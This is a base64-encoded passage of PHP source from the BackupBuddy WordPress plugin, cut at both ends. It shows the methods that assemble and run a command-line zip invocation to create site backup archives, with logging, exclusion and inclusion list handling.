ZlIGZpbGUKCQkgKglBbHdheXMgY2xlYW5zIHVwIGFmdGVyIGl0c2VsZgoJCSAqCQoJCSAqCVRoZSAkZXhjbHVkZXMgd2lsbCBiZSBhIGxpc3Qgb3IgcmVsYXRpdmUgcGF0aCBleGNsdWRlcyBpZiB0aGUgJGxpc3RtYWtlciBvYmplY3QgaXMgTlVMTCBvdGVocndpc2UKCQkgKgl3aWxsIGJlIGFic29sdXRlIHBhdGggZXhjbHVkZXMgYW5kIHJlbGF0aXZlIHBhdGggZXhjbHVkZXMgY2FuIGJlIGhhZCBmcm9tIHRoZSAkbGlzdG1ha2VyIG9iamVjdAoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR6aXAJCQlGdWxsIHBhdGggJiBmaWxlbmFtZSBvZiBaSVAgQXJjaGl2ZSBmaWxlIHRvIGNyZWF0ZQoJCSAqCUBwYXJhbQkJc3RyaW5nCSRkaXIJCQlGdWxsIHBhdGggb2YgZGlyZWN0b3J5IHRvIGFkZCB0byBaSVAgQXJjaGl2ZSBmaWxlCgkJICoJQHBhcmFtZQkJYXJyYXkJJGV4Y2x1ZGVzCQlMaXN0IG9mIGVpdGhlciBhYnNvbHV0ZSBwYXRoIGV4Y2x1c2lvbnMgb3IgcmVsYXRpdmUgZXhjbHVzaW9ucwoJCSAqCUBwYXJhbQkJc3RyaW5nCSR0ZW1wZGlyCQlGdWxsIHBhdGggb2YgZGlyZWN0b3J5IGZvciB0ZW1wb3JhcnkgdXNhZ2UKCQkgKglAcGFyYW0JCW9iamVjdAkkbGlzdG1ha2VyCQlUaGUgb2JqZWN0IGZyb20gd2hpY2ggd2UgY2FuIGdldCBhbiBpbmNsdXNpb25zIGxpc3QKCQkgKglAcmV0dXJuCQlib29sCQkJCQlUcnVlIGlmIHRoZSBjcmVhdGlvbiB3YXMgc3VjY2Vzc2Z1bCwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCAkemlwLCAkZGlyLCAkZXhjbHVkZXMsICR0ZW1wZGlyLCAkbGlzdG1ha2VyID0gTlVMTCApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQoJCQlzd2l0Y2ggKCAkdGhpcy0+Z2V0X29zX3R5cGUoKSApIHsKCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9OSVg6CgkJCQkJJHJlc3VsdCA9ICR0aGlzLT5jcmVhdGVfZ2VuZXJpYyggJHppcCwgJGRpciwgJGV4Y2x1ZGVzLCAkdGVtcGRpciwgJGxpc3RtYWtlciApOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX1dJTjoKCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmNyZWF0ZV9nZW5lcmljKCAkemlwLCAkZGlyLCAkZXhjbHVkZXMsICR0ZW1wZGlyLCAkbGlzdG1ha2VyICk7CgkJCQkJYnJlYWs7CgkJCQlkZWZhdWx0OgoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQoJCX0KCQkJCgkJLyoqCgkJICoJY3JlYXRlX2dlbmVyaWMoKQoJCSAqCQoJCSAqCUEgZnVuY3Rpb24gdGhhdCBjcmVhdGVzIGFuIGFyY2hpdmUgZmlsZQoJCSAqCQoJCSAqCVRoZSAkZXhjbHVkZXMgd2lsbCBiZSBhIGxpc3Qgb3IgcmVsYXRpdmUgcGF0aCBleGNsdWRlcyBpZiB0aGUgJGxpc3RtYWtlciBvYmplY3QgaXMgTlVMTCBvdGVocndpc2UKCQkgKgl3aWxsIGJlIGFic29sdXRlIHBhdGggZXhjbHVkZXMgYW5kIHJlbGF0aXZlIHBhdGggZXhjbHVkZXMgY2FuIGJlIGhhZCBmcm9tIHRoZSAkbGlzdG1ha2VyIG9iamVjdAoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR6aXAJCQlGdWxsIHBhdGggJiBmaWxlbmFtZSBvZiBaSVAgQXJjaGl2ZSBmaWxlIHRvIGNyZWF0ZQoJCSAqCUBwYXJhbQkJc3RyaW5nCSRkaXIJCQlGdWxsIHBhdGggb2YgZGlyZWN0b3J5IHRvIGFkZCB0byBaSVAgQXJjaGl2ZSBmaWxlCgkJICoJQHBhcmFtZQkJYXJyYXkJJGV4Y2x1ZGVzCQlMaXN0IG9mIGVpdGhlciBhYnNvbHV0ZSBwYXRoIGV4Y2x1c2lvbnMgb3IgcmVsYXRpdmUgZXhjbHVzaW9ucwoJCSAqCUBwYXJhbQkJc3RyaW5nCSR0ZW1wZGlyCQlbT3B0aW9uYWxdIEZ1bGwgcGF0aCBvZiBkaXJlY3RvcnkgZm9yIHRlbXBvcmFyeSB1c2FnZQoJCSAqCUBwYXJhbQkJb2JqZWN0CSRsaXN0bWFrZXIJCVRoZSBvYmplY3QgZnJvbSB3aGljaCB3ZSBjYW4gZ2V0IGFuIGluY2x1c2lvbnMgbGlzdAoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCVRydWUgaWYgdGhlIGNyZWF0aW9uIHdhcyBzdWNjZXNzZnVsLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBjcmVhdGVfZ2VuZXJpYyggJHppcCwgJGRpciwgJGV4Y2x1ZGVzLCAkdGVtcGRpciwgJGxpc3RtYWtlciApIHsKCQkKCQkJJGV4aXRjb2RlID0gMDsKCQkJJG91dHB1dCA9IGFycmF5KCk7CgkJCSR6aXBwYXRoID0gJyc7CgkJCSRjb21tYW5kID0gJyc7CgkJCSR0ZW1wX3ppcCA9ICcnOwoJCQkkZXhjbHVkaW5nX2FkZGl0aW9uYWwgPSBmYWxzZTsKCQkJJGV4Y2x1ZGVfY291bnQgPSAwOwoJCQkkZXhjbHVzaW9ucyA9IGFycmF5KCk7CgkJCSRoYXZlX3ppcF9lcnJvcnMgPSBmYWxzZTsKCQkJJHppcF9lcnJvcnNfY291bnQgPSAwOwoJCQkkemlwX2Vycm9ycyA9IGFycmF5KCk7CgkJCSRoYXZlX3ppcF93YXJuaW5ncyA9IGZhbHNlOwoJCQkkemlwX3dhcm5pbmdzX2NvdW50ID0gMDsKCQkJJHppcF93YXJuaW5ncyA9IGFycmF5KCk7CgkJCSRoYXZlX3ppcF9hZGRpdGlvbnMgPSBmYWxzZTsKCQkJJHppcF9hZGRpdGlvbnNfY291bnQgPSAwOwoJCQkkemlwX2FkZGl0aW9ucyA9IGFycmF5KCk7CgkJCSRoYXZlX3ppcF9kZWJ1ZyA9IGZhbHNlOwoJCQkkemlwX2RlYnVnX2NvdW50ID0gMDsKCQkJJHppcF9kZWJ1ZyA9IGFycmF5KCk7CgkJCSRoYXZlX3ppcF9vdGhlciA9IGZhbHNlOwoJCQkkemlwX290aGVyX2NvdW50ID0gMDsKCQkJJHppcF9vdGhlciA9IGFycmF5KCk7CgkJCSR6aXBfdXNpbmdfbG9nX2ZpbGUgPSBmYWxzZTsKCQkJJGxvZ2ZpbGVfbmFtZSA9ICcnOwoJCQkkemlwX2lnbm9yaW5nX3N5bWxpbmtzID0gZmFsc2U7CgkJCgkJCS8vIFRoZSBiYXNlZGlyIG11c3QgaGF2ZSBhIHRyYWlsaW5nIGRpcmVjdG9yeSBzZXBhcmF0b3IKCQkJJGJhc2VkaXIgPSAoIHJ0cmltKCB0cmltKCAkZGlyICksIERJUkVDVE9SWV9TRVBBUkFUT1IgKSApIC4gRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJCgkJCWlmICggZW1wdHkoICR0ZW1wZGlyICkgfHwgIUBmaWxlX2V4aXN0cyggJHRlbXBkaXIgKSApIHsKCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdUZW1wb3Jhcnkgd29ya2luZyBkaXJlY3RvcnkgbXVzdCBiZSBhdmFpbGFibGUuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwkJCQkKCQkJCXJldHVybiBmYWxzZTsKCQkJCQoJCQl9CgkJCQoJCQkvLyBUZWxsIHdoaWNoIHppcCB2ZXJzaW9uIGlzIGJlaW5nIHVzZWQKCQkJJHZlcnNpb24gPSAkdGhpcy0+Z2V0X3ppcF92ZXJzaW9uKCk7CgkJCQoJCQlpZiAoIHRydWUgPT09IGlzX2FycmF5KCAkdmVyc2lvbiApICkgewoJCQkKCQkJCSggKCAyID09ICR2ZXJzaW9uWyAnbWFqb3InIF0gKSAmJiAoIDAgPT0gJHZlcnNpb25bICdtaW5vcicgXSApICkgPyAkdmVyc2lvblsgJ21pbm9yJyBdID0gJ1gnIDogdHJ1ZSA7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCAnVXNpbmcgemlwIHZlcnNpb246ICUxJHMuJTIkcycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkdmVyc2lvblsgJ21ham9yJyBdLCAkdmVyc2lvblsgJ21pbm9yJyBdICkgKTsKCQkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCSR2ZXJzaW9uID0gYXJyYXkoICJtYWpvciIgPT4gIlgiLCAibWlub3IiID0+ICJZIiApOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXyggJ1VzaW5nIHppcCB2ZXJzaW9uOiAlMSRzLiUyJHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHZlcnNpb25bICdtYWpvcicgXSwgJHZlcnNpb25bICdtaW5vcicgXSApICk7CgoJCQl9CgkJCQkJCgkJCS8vIEdldCB0aGUgY29tbWFuZCBwYXRoIGZvciB0aGUgemlwIGNvbW1hbmQgLSBzaG91bGQgcmV0dXJuIGEgdHJpbW1lZCBzdHJpbmcKCQkJJHppcHBhdGggPSAkdGhpcy0+Z2V0X2NvbW1hbmRfcGF0aCggc2VsZjo6Q09NTUFORF9aSVBfUEFUSCApOwoJCQkKCQkJLy8gRGV0ZXJtaW5lIGlmIHdlIGFyZSB1c2luZyBhbiBhYnNvbHV0ZSBwYXRoCgkJCWlmICggIWVtcHR5KCAkemlwcGF0aCApICkgewoJCQkKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdVc2luZyBhYnNvbHV0ZSB6aXAgcGF0aDogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICR6aXBwYXRoICk7CgkJCQkKCQkJfQoKCQkJLy8gQWRkIHRoZSB0cmFpbGluZyBzbGFzaCBpZiByZXF1aXJlZAoJCQkkY29tbWFuZCA9ICR0aGlzLT5zbGFzaGlmeSggJHppcHBhdGggKSAuICd6aXAnOwkKCQkJCgkJCS8vIEFsd2F5cyBncm93IGJlY2F1c2Ugd2UgYWx3YXlzIGhhdmUgemlwIGFjaGl2ZSB3aXRoIGF0IGxlYXN0IG9uZSBmaWxlIHByZXNlbnQKCQkJJGNvbW1hbmQgLj0gJyAtZyc7CgoJCQkvLyBBbHdheXMgZG8gcmVjdXJzaXZlIG9wZXJhdGlvbgoJCQkkY29tbWFuZCAuPSAnIC1yJzsKCQkJCgkJCS8vIENoZWNrIGlmIHRoZSB2ZXJzaW9uIG9mIHppcCBpbiB1c2Ugc3VwcG9ydHMgbG9nIGZpbGUgKHdoaWNoIHdpbGwgaGVscCB3aXRoIG1lbW9yeSB1c2FnZSBmb3IgbGFyZ2Ugc2l0ZXMpCgkJCWlmICggdHJ1ZSA9PT0gJHRoaXMtPmdldF96aXBfc3VwcG9ydHNfbG9nX2ZpbGUoKSApIHsKCQkJCgkJCQkvLyBDaG9vc2UgdG8gdXNlIGxvZyBmaWxlIHNvIHF1aWV0ZW4gc3Rkb3V0IC0gd2UnbGwgc2V0IHVwIHRoZSBsb2cgZmlsZSBsYXRlcgoJCQkJJGNvbW1hbmQgLj0gJyAtcSc7CgkJCQkkemlwX3VzaW5nX2xvZ19maWxlID0gdHJ1ZTsKCQkJCgkJCX0KCQkJCgkJCS8vIENoZWNrIGlmIHdlIG5lZWQgdG8gdHVybiBvZmYgY29tcHJlc3Npb24gYnkgc2V0dGluZ3MgKGZhc3RlciBidXQgbGFyZ2VyIGJhY2t1cCkKCQkJaWYgKCB0cnVlICE9PSAkdGhpcy0+Z2V0X2NvbXByZXNzaW9uKCkgKSB7CgkJCQoJCQkJJGNvbW1hbmQgLj0gJyAtMCc7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgYXJjaGl2ZSBjcmVhdGlvbiBjb21wcmVzc2lvbiBkaXNhYmxlZCBiYXNlZCBvbiBzZXR0aW5ncy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgYXJjaGl2ZSBjcmVhdGlvbiBjb21wcmVzc2lvbiBlbmFibGVkIGJhc2VkIG9uIHNldHRpbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCgkJCX0KCQkJCgkJCS8vIENoZWNrIGlmIGlnbm9yaW5nIChub3QgZm9sbG93aW5nKSBzeW1saW5rcwoJCQlpZiAoIHRydWUgPT09ICR0aGlzLT5nZXRfaWdub3JlX3N5bWxpbmtzKCkgKSB7CgkJCQoJCQkJLy8gTm90IGFsbCBPUyBzdXBwb3J0IHRoaXMgZm9yIGNvbW1hbmQgbGluZSB6aXAgYnV0IGJlc3QgdG8gaGFuZGxlIGl0IGxhdGUgYW5kIGp1c3QKCQkJCS8vIGluZGljYXRlIGhlcmUgaXQgaXMgcmVxdWVzdGVkIGJ1dCBub3Qgc3VwcG9ydGVkIGJ5IE9TCgkJCQlzd2l0Y2ggKCAkdGhpcy0+Z2V0X29zX3R5cGUoKSApIHsKCQkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfTklYOgoJCQkJCQkvLyBXYW50IHRvIG5vdCBmb2xsb3cgc3ltbGlua3Mgc28gc2V0IGNvbW1hbmQgb3B0aW9uIGFuZCBzZXQgZmxhZyBmb3IgbGF0ZXIgdXNlCgkJCQkJCSRjb21tYW5kIC49ICcgLXknOwoJCQkJCQkkemlwX2lnbm9yaW5nX3N5bWxpbmtzID0gdHJ1ZTsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnWmlwIGFyY2hpdmUgY3JlYXRpb24gc3ltYm9saWMgbGlua3Mgd2lsbCBub3QgYmUgZm9sbG93ZWQgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQlicmVhazsKCQkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfV0lOOgoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgYXJjaGl2ZSBjcmVhdGlvbiBzeW1ib2xpYyBsaW5rcyByZXF1ZXN0ZWQgdG8gbm90IGJlIGZvbGxvd2VkIGJhc2VkIG9uIHNldHRpbmdzIGJ1dCB0aGlzIG9wdGlvbiBpcyBub3Qgc3VwcG9ydGVkIG9uIHRoaXMgb3BlcmF0aW5nIHN5c3RlbS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCWJyZWFrOwoJCQkJCWRlZmF1bHQ6CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIHN5bWJvbGljIGxpbmtzIHJlcXVlc3RlZCB0byBub3QgYmUgZm9sbG93ZWQgYmFzZWQgb24gc2V0dGluZ3MgYnV0IHRoaXMgb3B0aW9uIGlzIG5vdCBzdXBwb3J0ZWQgb24gdGhpcyBvcGVyYXRpbmcgc3lzdGVtLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCX0KCQkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIHN5bWJvbGljIGxpbmtzIHdpbGwgYmUgZm9sbG93ZWQgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJfQoJCQkKCQkJLy8gQ2hlY2sgaWYgd2UgYXJlIGlnbm9yaW5nIHdhcm5pbmdzIC0gbWVhbmluZyBjYW4gc3RpbGwgZ2V0IGEgYmFja3VwIGV2ZW4KCQkJLy8gaWYsIGUuZy4sIHNvbWUgZmlsZXMgY2Fubm90IGJlIHJlYWQKCQkJaWYgKCB0cnVlID09PSAkdGhpcy0+Z2V0X2lnbm9yZV93YXJuaW5ncygpICkgewoJCQkKCQkJCS8vIE5vdGU6IHdhcm5pbmdzIGFyZSBiZWluZyBpZ25vcmVkIGJ1dCB3aWxsIHN0aWxsIGJlIGdhdGhlcmVkIGFuZCBsb2dnZWQKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIGFjdGlvbmFibGUgd2FybmluZ3Mgd2lsbCBiZSBpZ25vcmVkIGJhc2VkIG9uIHNldHRpbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIGFjdGlvbmFibGUgd2FybmluZ3Mgd2lsbCBub3QgYmUgaWdub3JlZCBiYXNlZCBvbiBzZXR0aW5ncy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgoJCQl9CgkJCQoJCQkvLyBEZWxldGUgYW55IGV4aXN0aW5nIHppcCBmaWxlIG9mIHNhbWUgbmFtZSAtIHJlYWxseSB0aGlzIHNob3VsZCBuZXZlciBoYXBwZW4KCQkJaWYgKCBAZmlsZV9leGlzdHMoICR6aXAgKSApIHsKCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdFeGlzdGluZyBaSVAgQXJjaGl2ZSBmaWxlIHdpbGwgYmUgcmVwbGFjZWQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJQHVubGluayggJHppcCApOwoKCQkJfQoJCQkKCQkJLy8gTm93IHdlJ2xsIHNldCB1cCB0aGUgbG9nZ2luZyB0byBmaWxlIGlmIHJlcXVpcmVkIC0gdXNlIGZ1bGwgbG9nZ2luZwoJCQlpZiAoIHRydWUgPT09ICR6aXBfdXNpbmdfbG9nX2ZpbGUgKSB7CgkJCQoJCQkJJGxvZ2ZpbGVfbmFtZSA9ICR0ZW1wZGlyIC4gc2VsZjo6WklQX0xPR19GSUxFX05BTUU7CgkJCQkkY29tbWFuZCAuPSAiIC1sZiAneyRsb2dmaWxlX25hbWV9JyAtbGkiOwoJCQkKCQkJfQoJCQkJCQkKCQkJLy8gU2V0IHRlbXBvcmFyeSBkaXJlY3RvcnkgdG8gc3RvcmUgWklQIHdoaWxlIGl0J3MgYmVpbmcgZ2VuZXJhdGVkLgkJCQoJCQkkY29tbWFuZCAuPSAiIC1iICd7JHRlbXBkaXJ9JyI7CgoJCQkvLyBBbHdheXMgY3JlYXRlIHRoZSB6aXAgYXJjaGl2ZSBpbiB0aGUgdGVtcG9yYXJ5IGxvY2F0aW9uIGFuZCBpZiBpcyBidWlsdCBzdWNjZXNzZnVsbHkKCQkJLy8gd2l0aCBubyBlcnJvcnMgb3Igd2FybmluZ3MgKG9yIHdpdGggd2FybmluZ3MgYnV0IGNvbmZpZ3VyZWQgdG8gaWdub3JlIHRoZXNlKSB0aGVuIHdlCgkJCS8vIG1vdmUgaXR0byB0aGUgYWN0dWFsIGxvY2FsIGFyY2hpdmUgc3RvcmFlZyBkaXJlY3RvcnkuIE5vdGUgdGhhdCB3ZSB1c2VkIHRvIGJ1aWxkIGluCgkJCS8vIHRoZSBmaW5hbCBsb2NhdGlvbiBpZiB3YXJuaW5ncyB3ZXJlIGJlaW5nIGlnbm9yZWQgYnV0IHRoaXMgcmVhbGx5IGhhZCBsaXR0bGUgYmVuZWZpdAoJCQkvLyBzbyBiZXR0ZXIgdG8gbWFrZSBhbGwgbWV0aG9kcyBiZWhhdmUgaW4gdGVoIHNhbWUgd2F5LgoJCQkkdGVtcF96aXAgPSAkdGVtcGRpciAuIGJhc2VuYW1lKCAkemlwICk7CQkJCQoKCQkJJGNvbW1hbmQgLj0gIiAneyR0ZW1wX3ppcH0nIC4iOwoJCQkKCQkJLy8gTm93IHdvcmsgb3V0IGV4Y2x1c2lvbnMgZGVwZW5kZW50IG9uIHdoYXQgd2UgaGF2ZSBiZWVuIGdpdmVuCgkJCWlmICggaXNfb2JqZWN0KCAkbGlzdG1ha2VyICkgJiYgKCBkZWZpbmVkKCAnVVNFX0VYUEVSSU1FTlRBTF9aSVBCVUREWV9JTkNMVVNJT04nICkgJiYgKCB0cnVlID09PSBVU0VfRVhQRVJJTUVOVEFMX1pJUEJVRERZX0lOQ0xVU0lPTiApICkgKSB7CgkJCQoJCQkJLy8gV2UncmUgZG9pbmcgYW4gaW5jbHVzaW9uIG9wZXJhdGlvbiwgYnV0IGZpcnN0IHdlJ2xsIGp1c3Qgc2hvdyB0aGUgZXhjbHVzaW9zbgoJCQkJCgkJCQkvLyBGb3IgemlwIHdlIG5lZWQgcmVsYXRpdmUgcmF0aGVyIHRoYW4gYWJzb2x1dGUgZXhjbHVzaW9uIHNwYXRocwoJCQkJJGV4Y2x1c2lvbnMgPSAkbGlzdG1ha2VyLT5nZXRfcmVsYXRpdmVfZXhjbHVkZXMoICRiYXNlZGlyICk7CgkJCQkKCQkJCWlmICggY291bnQoICRleGNsdXNpb25zICkgPiAwICkgewoJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnQ2FsY3VsYXRpbmcgZGlyZWN0b3JpZXMgdG8gZXhjbHVkZSBmcm9tIGJhY2t1cC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCgkJCQkJJGV4Y2x1ZGluZ19hZGRpdGlvbmFsID0gZmFsc2U7CgkJCQkJJGV4Y2x1ZGVfY291bnQgPSAwOwoJCQkJCWZvcmVhY2ggKCAkZXhjbHVzaW9ucyBhcyAkZXhjbHVkZSApIHsKCQkJCQkKCQkJCQkJaWYgKCAhc3Ryc3RyKCAkZXhjbHVkZSwgJ2JhY2t1cGJ1ZGR5X2JhY2t1cHMnICkgKSB7IC8vIFNldCB2YXJpYWJsZSB0byBzaG93IHdlIGFyZSBleGNsdWRpbmcgYWRkaXRpb25hbCBkaXJlY3RvcmllcyBiZXNpZGVzIGJhY2t1cCBkaXIuCgkKCQkJCQkJCSRleGNsdWRpbmdfYWRkaXRpb25hbCA9IHRydWU7CgkJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdFeGNsdWRpbmcnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzogJyAuICRleGNsdWRlICk7CgkJCQkJCQkJCQkJCQkKCQkJCQkJJGV4Y2x1ZGVfY291bnQrKzsKCQkJCQkJCQoJCQkJCX0KCQkJCQkJCQkJCQoJCQkJfQoJCQkJCgkJCQkvLyBHZXQgdGhlIGxpc3Qgb2YgaW5jbHVzaW9ucyB0byBwcm9jZXNzCgkJCQkkaW5jbHVzaW9ucyA9ICRsaXN0bWFrZXItPmdldF90ZXJtaW5hbHMoKTsKCQkJCQoJCQkJLy8gRm9yIGVhY2ggZGlyZWN0b3J5IHdlIG5lZWQgdG8gcHV0IHRoZSAid2lsZGNhcmQiIG9uIHRoZSBlbmQKCQkJCWZvcmVhY2ggKCAkaW5jbHVzaW9ucyBhcyAmJGluY2x1c2lvbiApIHsKCQkJCQoJCQkJCWlmICggaXNfZGlyKCAkaW5jbHVzaW9uICkgKSB7CgkJCQkJCgkJCQkJCSRpbmNsdXNpb24gLj0gRElSRUNUT1JZX1NFUEFSQVRPUiAuICIqIjsKCQkJCQl9CgkJCQkKCQkJCQkvLyBSZW1vdmUgZGlyZWN0b3J5IHBhdGggcHJlZml4IGV4Y2x1ZGluZyBsZWFkaW5nIHNsYXNoIHRvIG1ha2UgcmVsYXRpdmUgKG5lZWRlZCBmb3IgemlwKQoJCQkJCSRpbmNsdXNpb24gPSBzdHJfcmVwbGFjZSggcnRyaW0oICRiYXNlZGlyLCBESVJFQ1RPUllfU0VQQVJBVE9SICksICcnLCAkaW5jbHVzaW9uICk7CgkJCQkJCQkJCQoJCQkJfQoJCQkJCgkJCQkvLyBOb3cgY3JlYXRlIHRoZSBpbmNsdXNpb25zIGZpbGUgaW4gdGhlIHRlbXBkaXIKCQkJCQoJCQkJLy8gQW5kIHVwZGF0ZSB0aGUgY29tbWFuZCBvcHRpb25zCgkJCQkkaWZpbGUgPSAkdGVtcGRpciAuIHNlbGY6OlpJUF9JTkNMVVNJT05TX0ZJTEVfTkFNRTsKCQkJCWlmICggZmlsZV9leGlzdHMoICRpZmlsZSApICkgewoJCQkJCgkJCQkJQHVubGluayggJGlmaWxlICk7CgkJCQkKCQkJCX0KCQkJCQoJCQkJZmlsZV9wdXRfY29udGVudHMoICRpZmlsZSwgaW1wbG9kZSggUEhQX0VPTCwgJGluY2x1c2lvbnMgKSAuIFBIUF9FT0wgLiBQSFBfRU9MICk7CgkJCQkKCQkJCSRjb21tYW5kIC49ICIgLWlAIiAuICIneyRpZmlsZX0nIjsKCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJLy8gV2UncmUgZG9pbmcgYW4gZXhjbHVzaW9uIG9wZXJhdGlvbgoJCQkKCQkJCS8vJGNvbW1hbmQgLj0gIi1pICcqJyAiOyAvLyBOb3QgbmVlZGVkLiBaaXAgZGVmYXVsdHMgdG8gZG9pbmcgdGhpcy4gUmVtb3ZlZCBKdWx5IDEwLCAyMDEyIGZvciB2My4wLjQxLgoJCQkJCgkJCQkvLyBTaW5jZSB3ZSBoYWQgbm8gJGxpc3RtYWtlciBvYmplY3Qgb3Igbm90IHVzaW5nIGl0IGdldCB0aGUgc3RhbmRhcmQgcmVsYXRpdmUgZXhjbHVkZXMgdG8gcHJvY2VzcwoJCQkJJGV4Y2x1c2lvbnMgPSAkZXhjbHVkZXM7CgkJCQkKCQkJCWlmICggY291bnQoICRleGNsdXNpb25zICkgPiAwICkgewoJCQkJCgkJCQkJLy8gSGFuZGxlIGV4Y2x1c2lvbnMgYnkgcGxhY2luZyB0aGVtIGluIGFuIGV4Y2x1c2lvbiB0ZXh0IGZpbGUuCgkJCQkJJGV4Y2x1c2lvbl9maWxlID0gJHRlbXBkaXIgLiBzZWxmOjpaSVBfRVhDTFVTSU9OU19GSUxFX05BTUU7CgkJCQkJJHRoaXMtPl9yZW5kZXJfZXhjbHVzaW9uc19maWxlKCAkZXhjbHVzaW9uX2ZpbGUsICRleGNsdXNpb25zLCAkZGlyICk7CgkJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXyggJ1VzaW5nIGV4Y2x1c2lvbiBmaWxlIGAlMSRzYCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkZXhjbHVzaW9uX2ZpbGUgKSApOwoJCQkJCSRjb21tYW5kIC49ICcgLXhAJyAuICIneyRleGNsdXNpb25fZmlsZX0nIjsKCQkJCQkJCQkJCQoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJLy8gSWYgd2UgY2FuJ3QgdXNlIGEgbG9nIGZpbGUgYnV0IGV4ZWNfZGlyIGlzbid0IGluIHVzZSB3ZSBjYW4gcmVkaXJlY3Qgc3RkZXJyIHRvIHN0ZG91dAoJCQkvLyBJZiBleGVjX2RpciBpcyBpbiB1c2Ugd2UgY2Fubm90IHJlZGlyZWN0IGJlY2F1c2Ugb2YgY29tbWFuZCBsaW5lIGVzY2FwaW5nIHNvIGNhbm5vdCBsb2cgZXJyb3JzL3dhcm5pbmdzCgkJCWlmICggZmFsc2UgPT09ICR6aXBfdXNpbmdfbG9nX2ZpbGUgKSB7CgkJCQoJCQkJaWYgKCBmYWxzZSA9PT0gJHRoaXMtPmdldF9leGVjX2Rpcl9mbGFnKCkgKSB7CgkJCQoJCQkJCSRjb21tYW5kIC49ICcgMj4mMSc7CgkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCAnWmlwIEVycm9ycy9XYXJuaW5ncyBjYW5ub3Qgbm90IGJlIGxvZ2dlZCB3aXRoIHRoaXMgdmVyc2lvbiBvZiB6aXAgYW5kIGV4ZWNfZGlyIGFjdGl2ZScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCB0cnVlICkgKTsKCQkJCQoJCQkJfQoJCQkJCgkJCX0KCQkJCgkJCS8vIFJlbWVtYmVyIHRoZSBjdXJyZW50IGRpcmVjdG9yeSBh